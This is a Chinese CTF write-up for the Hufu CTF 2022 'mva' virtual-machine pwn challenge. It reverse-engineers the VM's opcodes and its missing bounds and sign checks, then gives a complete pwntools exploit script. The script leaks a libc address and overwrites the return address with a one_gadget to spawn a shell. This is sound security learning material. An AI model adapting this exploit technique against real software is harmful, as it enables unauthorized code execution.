虎符CTF-2022 mva 题解

这是一道vm题。前几天师傅让我看看这道题，发现是一种没有做过的类型。查询相关资料之后有了一定的了解。由于是第一次做这种题，就将wp写的尽可能详细一些，作为笔记备查。

源文件：my_github

vm-pwn是一种虚拟机pwn，我的理解是，我们自己用C语言写一个虚拟机。在这个虚拟机里面可以进行各种操作，如加减乘除、堆栈操作等。这里各种操作的操作码可以是我们自己定义的，比如我们定义01开头的指令为加，02开头为减，等等。我们不管当前的主流架构是怎么实现的，这个程序本身相当于是”发明“了一种小型的轻量级的汇编语言。我们需要找到这种语言的漏洞以跳出虚拟机，进而getshell或getflag。

大致了解了这种题目的背景之后，我们就可以进去看题了。

指令首先是写在了bss段的一个地方，在main函数中有一个死循环，里面的sub_11E9函数应该就是读取指令的函数了。改名为read_cmd。

这里反汇编看着不太清楚，还是要深入到汇编去查看。

.text:0000000000001213                 lea     rdx, code
.text:000000000000121A                 add     rax, rdx
.text:000000000000121D                 mov     eax, [rax]
.text:000000000000121F                 mov     [rbp+var_C], eax
.text:0000000000001222                 mov     eax, [rbp+var_C]
.text:0000000000001225                 shr     eax, 18h
.text:0000000000001228                 mov     edx, eax
.text:000000000000122A                 mov     eax, [rbp+var_C]
.text:000000000000122D                 shr     eax, 8
.text:0000000000001230                 and     eax, 0FF00h
.text:0000000000001235                 or      edx, eax
.text:0000000000001237                 mov     eax, [rbp+var_C]
.text:000000000000123A                 shl     eax, 8
.text:000000000000123D                 and     eax, 0FF0000h
.text:0000000000001242                 or      edx, eax
.text:0000000000001244                 mov     eax, [rbp+var_C]
.text:0000000000001247                 shl     eax, 18h
.text:000000000000124A                 or      eax, edx

上面这一段汇编是read_cmd里面的，主要功能就是从输入的指令中读取4字节后将这4字节高位变低位，低位变高位（从小端序到大端序的转换）。在read_cmd返回后，eax中存放的就是读取到的指令。读取指令后返回到main函数中，一开始看到main函数下面有很多没有解析的部分，将其手动转为汇编代码，发现有很多跳转指令，那么基本可以判断出，下面就是解析并执行指令的部分了。跳转指令应该是在判断指令的类型。

.text:000000000000135E                 mov     eax, 0
.text:0000000000001363                 call    read_cmd
.text:0000000000001368                 mov     [rbp+var_23C], eax
.text:000000000000136E                 mov     eax, [rbp+var_23C]
.text:0000000000001374                 shr     eax, 18h
.text:0000000000001377                 mov     [rbp+var_240], ax
.text:000000000000137E                 mov     eax, [rbp+var_23C]
.text:0000000000001384                 sar     eax, 10h
.text:0000000000001387                 mov     [rbp+var_249], al
.text:000000000000138D                 mov     eax, [rbp+var_23C]
.text:0000000000001393                 sar     ax, 8
.text:0000000000001397                 mov     [rbp+var_248], al
.text:000000000000139D                 mov     eax, [rbp+var_23C]
.text:00000000000013A3                 mov     [rbp+var_247], al
.text:00000000000013A9                 mov     eax, [rbp+var_23C]
.text:00000000000013AF                 mov     [rbp+var_23E], ax

在调用read_cmd函数之后，main函数将指令的不同位保存到栈中不同的位置，但这些位置基本上相邻。

下图为栈中保存的指令值情况（假设读取的指令为0x76543210）

addr	+0	+1	+2	+3	+4	+5	+6	+7
rbp-0x250	-	-	-	-	-	-	-	32
rbp-0x248	54	76	-	-	-	-	-	-
rbp-0x240	10	-	76	54	76	54	32	10

之后判断原输入的最低位是否大于0xF，如果大于则跳过该指令。这说明这个虚拟机中的指令码只可能有0x0~0xF最多16种。我们修改一下输入，然后接着跟着执行流一步一步走。

.rodata:000000000000206C dword_206C      dd 0FFFFF38Bh           ; DATA XREF: main+134↑o
.rodata:000000000000206C                                         ; main+140↑o
.rodata:0000000000002070                 dd 0FFFFF399h
.rodata:0000000000002074                 dd 0FFFFF3D2h
.rodata:0000000000002078                 dd 0FFFFF460h
.rodata:000000000000207C                 dd 0FFFFF4F0h
.rodata:0000000000002080                 dd 0FFFFF57Eh
.rodata:0000000000002084                 dd 0FFFFF60Ch
.rodata:0000000000002088                 dd 0FFFFF686h
.rodata:000000000000208C                 dd 0FFFFF714h
.rodata:0000000000002090                 dd 0FFFFF735h
.rodata:0000000000002094                 dd 0FFFFF7A7h
.rodata:0000000000002098                 dd 0FFFFF80Ah
.rodata:000000000000209C                 dd 0FFFFF839h
.rodata:00000000000020A0                 dd 0FFFFF8B4h
.rodata:00000000000020A4                 dd 0FFFFF940h
.rodata:00000000000020A8                 dd 0FFFFF994h

接下来，程序提到了rodata中的这个地方，这里发现这个未知数据的长度为64字节，正好是16*4，每一个4字节对应一条指令，但具体含义尚不清楚。

.text:00000000000013D6                 lea     rdx, ds:0[rax*4]
.text:00000000000013DE                 lea     rax, dword_206C
.text:00000000000013E5                 mov     eax, [rdx+rax]
.text:00000000000013E8                 cdqe
.text:00000000000013EA                 lea     rdx, dword_206C
.text:00000000000013F1                 add     rax, rdx
.text:00000000000013F4                 db      3Eh
.text:00000000000013F4                 jmp     rax

往下看不远处，我们就知道这个64字节数据是用来干嘛的了。它起始就是一个地址的偏移量，将对应指令的偏移量加上rodata的地址值，得到的就是指令对应的执行部分的地址。将其重命名为exec_offset。

…

经过亿段时间的分析之后，我大概搞清楚了其中一些指令的含义。

在这个虚拟机中一共有6个word类型的寄存器，这6个寄存器通过偏移获取。在这16种指令中有加减乘除、与或异或等算数指令，这些指令需要3个操作数。格式为：（下面所有格式均为高地址到低地址，在写入时需要调换一下顺序）

指令码: 2, 功能: 加法, 格式: op1 op2 op3 0x2——reg(op3) = reg(op1) + reg(op2)
指令码: 3, 功能: 减法, 格式: op1 op2 op3 0x3——reg(op3) = reg(op2) - reg(op1)
指令码: 4, 功能: 按位与, 格式: op1 op2 op3 0x4——reg(op3) = reg(op2) & reg(op1)
指令码: 5, 功能: 按位或, 格式: op1 op2 op3 0x5——reg(op3)= reg(op2) | reg(op1)
指令码: 6, 功能: 右移, 格式: op1 op2 op3 0x6——reg(op3) = reg(op3) >> reg(op2)
指令码: 7, 功能: 按位异或, 格式: op1 op2 op3 0x7——reg(op3) = reg(op1) ^ reg(op2)
指令码: 13, 功能: 乘法, 格式: op1 op2 op3 0xD——reg(op3) = reg(op1) * reg(op2) 【注意这里没有检查op2的范围，是一个漏洞】

除此之外，还有一些其他类型的指令，这里也列举一下。

指令码: 0, 功能: 退出, 格式: op1 op2 op3 0x0——exit()
指令码: 1, 功能: 赋值, 格式: op1 op2 op3 0x1——reg(op3) = op1 + op2 >> 8 (op1 = LOBYTE(op3), op2 = HIBYTE(op3))
指令码: 9, 功能: 入栈, 格式: op1 op2 op3 0x9——若op3 == 0则push (reg(0))，若op3 != 0则push (op1 + op2 >> 8) 【注意这里虽然有对栈是否满的检查，但是没有对op3大小的检查，可以push虚拟机空间之外的东西，是一个漏洞】
指令码: 10, 功能: 出栈, 格式: op1 op2 op3 0xA——reg(op3) = pop()【这里有对op3大小和栈是否为空的检查】
指令码: 12, 功能: 比较两个寄存器的值是否相等。因为返回相等的控制位没有被其他指令所引用，因此这里不做分析。
指令码: 14, 功能: 寄存器赋值, 格式: op1 op2 op3 0xE——reg(op2) = reg(op3)【注意这里没有检查op2是否为负数，是一个漏洞】
指令码: 15, 功能: 输出栈顶的值（这里指的是没有被占用的地方，也就是栈实际占用空间还往上一个字的值，这个字现在实际上并没有进入堆栈）

还有8和11的指令码没有分析，不过从官方wp上看这两个应该是无关紧要的，就暂且不管了。

然后我们需要整理一下思路，想想如何才能利用上面的漏洞getshell。

要想getshell，首先要拿到libc加载地址，通过这个加载地址得到one_gadget的地址，然后需要将one_gadget地址写入返回地址中。整个过程看似简单，但首先第一个问题：如何拿到libc加载地址？

注意到赋值操作中目的操作数是没有检查负数的情况的，经过IDA调试发现栈指针在寄存器的低地址处，我们可以让目的操作数为负进而指向栈指针，这样我们就可以用寄存器中的值去覆盖栈指针的值。栈指针是一个8字节结构，对应赋值的偏移应为0xF6、0xF7、0xF8、0xF9，我们将0xF6偏移位置覆盖为0x8000即可让栈指针变为负数。在输出值（指令码0xF）时，这个最高位的0x8000会溢出，从而我们可以读取寄存器后面任何一个位置的地址。经过试验发现，栈指针为0x10C时对应main返回地址最低字，即__libc_start_main+243。我们读取0x10C、0x10D、0x10E三个字的值就可以完全掌握libc的加载地址了。注意这里读取不用0xF指令，因为它只有输出功能，等脚本读到输出之后你的小程序早就执行完了。因此这里使用pop指令，它只会检查栈指针是否为0，因此可以绕过。

在pop之后，我们获得了libc的加载地址，这里需要进行一些计算来获得one_gadget的地址。然后我们将其push到返回地址处就可以了。这里需要注意的是，由于每一个寄存器只有2字节长度，因此返回地址需要用3个寄存器存储，在计算的时候会忽略向高位的借位，因此可能在计算时出错，但这是一个小概率事件，大约有1/4的概率会失败。

.text:00005607BDE667A1 case_9:                                 ; *** code: 9
.text:00005607BDE667A1 mov     rax, [rbp+var_230]              ;     function: if var_230(?) <= 100h then exit
.text:00005607BDE667A1                                         ;               else then ???
.text:00005607BDE667A8 cmp     rax, 100h
.text:00005607BDE667AE jle     short loc_5607BDE667BA
.text:00005607BDE667B0 mov     edi, 0                          ; status
.text:00005607BDE667B5 call    _exit

请注意上面的代码片段，这是检查栈指针是否大于100。但是跳转是jle，这表示它是有符号的比较。那也就是说如果栈指针是一个负数，如果看做无符号数的话是一个很大的数，但也能通过检查，这就为我们写入返回地址创造了条件。

因此，大致的步骤就是：

Step 1: 修改栈指针到返回地址处
Step 2: 读取返回地址
Step 3: 计算one_gadget地址
Step 4: 写入返回地址
Step 5: getshell

payload:

from pwn import *

io = process('./mva')
Libc_libc_start_main = 0x23FC0
Libc_one_gadget = 0xE3B31

def get_command(code, op1, op2, op3):
	return p8(code) + p8(op1) + p8(op2) + p8(op3)

def movl(reg, value):
	return get_command(1, reg, value >> 8, value & 0xFF)

def add(dest, add1, add2):
	return get_command(2, dest, add1, add2)

def sub(dest, subee, suber):
	return get_command(3, dest, subee, suber)

def band(dest, and1, and2):
	return get_command(4, dest, and1, and2)

def bor(dest, or1, or2):
	return get_command(5, dest, or1, or2)

def sar(dest, off):
	return get_command(6, dest, off, 0)

def bxor(dest, xor1, xor2):
	return get_command(7, dest, xor1, xor2)

def push(reg, value):
	if reg == 0:
		return get_command(9, reg, 0, 0)
	else:
		return get_command(9, reg, value >> 8, value & 0xFF)

def pop(reg):
	return get_command(10, reg, 0, 0)

def imul(dest, imul1, imul2):
	return get_command(13, dest, imul1, imul2)

def mov(src, dest):
	return get_command(14, src, dest, 0)

def print_top():
	return get_command(15, 0, 0, 0)

# Step 1: get __libc_start_main + 243

payload = b''
payload += movl(0, 0x8000)
payload += mov(0, 0xF9)			# bypass the check by making it nagative

payload += movl(0, 0x010F)
payload += mov(0, 0xF6)
payload += pop(0)				# HIGH WORD of __libc_start_main
payload += pop(1)				# MIDDLE WORD of __libc_start_main
payload += pop(2)				# LOW WORD of __libc_start_main

payload += movl(3, 243)
payload += sub(2, 2, 3)			# this step may fail due to the ignorance of borrowed bit, but in 1/16 to fail
# __libc_start_main got

payload += movl(3, 0x3FC0)		# this step may also fail due to same reason, 1/4 to fail until now
payload += sub(2, 2, 3)
payload += movl(3, 0x2)
payload += sub(1, 1, 3)
# libc load address got

payload += movl(3, 0x3B31)
payload += add(2, 2, 3)
payload += movl(3, 0xE)
payload += add(1, 1, 3)
# one_gadget address got

payload += mov(0, 3)
payload += mov(2, 0)
payload += push(0, 0)
payload += mov(1, 0)
payload += push(0, 0)
payload += mov(3, 0)
payload += push(0, 0)
# write one_gadget address to return_addr

payload = payload.ljust(0x100, b'\x00')
payload += b'\n'

# for c in payload:
# 	print('%02x' % c, end=' ')

io.sendlineafter(b'[+] Welcome to MVA, input your code now :', payload)

io.interactive()

当shell拿到之后，我们发现这种题目其实并不难，只要计算一下地址然后写入就行了。就是分析代码比较麻烦，需要明确每一种指令分别代表什么含义，找到里面的漏洞进而思考如何getshell。从这道题可以看出，vm-pwn题中最为致命的就是堆栈检查不严格，可能会产生任意地址读写漏洞，还有整型溢出问题也值得关注。